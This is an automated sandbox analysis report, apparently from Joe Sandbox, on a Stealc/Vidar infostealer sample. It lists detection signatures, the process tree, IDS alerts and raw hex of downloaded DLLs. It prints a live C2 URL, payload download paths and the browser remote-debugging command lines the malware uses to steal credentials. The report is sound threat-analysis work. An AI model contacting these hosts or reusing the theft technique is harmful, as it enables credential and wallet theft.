Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1564301
MD5:	02db246e909a8cd8c3d2b6767af32136
SHA1:	4cee20e045f7a1c87d1946908d4c5005efa0e3f2
SHA256:	4163995ebdbc9c128dea6a64838fba0e4bc658e9b1a3e2d07e24ea1a5de406b9
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 3656 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 02DB246E909A8CD8C3D2B6767AF32136)

chrome.exe (PID: 6552 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2284 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 --field-trial-handle=2188,i,14208366846228891866,12356919206208960145,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 8156 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7872 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2284,i,3128771043236324201,6977543102233730752,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 6584 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBAECFHJEBA.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msedge.exe (PID: 7896 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7628 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2776 --field-trial-handle=1984,i,8660078907513999218,12504621665914136151,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8872 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6728 --field-trial-handle=1984,i,8660078907513999218,12504621665914136151,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8884 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6892 --field-trial-handle=1984,i,8660078907513999218,12504621665914136151,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 2604 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6844 --field-trial-handle=1984,i,8660078907513999218,12504621665914136151,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2052544248.0000000004C80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2581383835.0000000000671000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2582213624.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 3656	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 3656	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 3656	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3656	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 3656, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 6552, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T06:48:03.518959+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T06:48:03.393292+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T06:48:03.848131+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T06:48:05.425015+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T06:48:03.982672+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T06:48:02.908050+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T06:48:06.511160+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-28T06:48:29.332707+0100	2803304	3	Unknown Traffic	192.168.2.5	49750	185.215.113.206	80	TCP
2024-11-28T06:48:31.320854+0100	2803304	3	Unknown Traffic	192.168.2.5	49750	185.215.113.206	80	TCP
2024-11-28T06:48:32.766796+0100	2803304	3	Unknown Traffic	192.168.2.5	49750	185.215.113.206	80	TCP
2024-11-28T06:48:34.211356+0100	2803304	3	Unknown Traffic	192.168.2.5	49750	185.215.113.206	80	TCP
2024-11-28T06:48:38.054745+0100	2803304	3	Unknown Traffic	192.168.2.5	49750	185.215.113.206	80	TCP
2024-11-28T06:48:39.118463+0100	2803304	3	Unknown Traffic	192.168.2.5	49750	185.215.113.206	80	TCP
2024-11-28T06:48:44.758506+0100	2803304	3	Unknown Traffic	192.168.2.5	49849	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/softokn3.dllZk	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpware	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dll.o?	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dlljFZ	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dllHo	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.2582213624.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Multi AV Scanner detection for submitted file

Source: file.exe	Virustotal: Detection: 52%			Perma Link
Source: file.exe	ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4E6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C4E6C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49862 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 23.32.185.164:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.32.185.164:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.85:443 -> 192.168.2.5:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.85:443 -> 192.168.2.5:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.5:49906 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2608075848.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2608075848.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 6MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.206/c4becf79229cb002.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 05:48:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 05:48:29 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 05:48:31 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 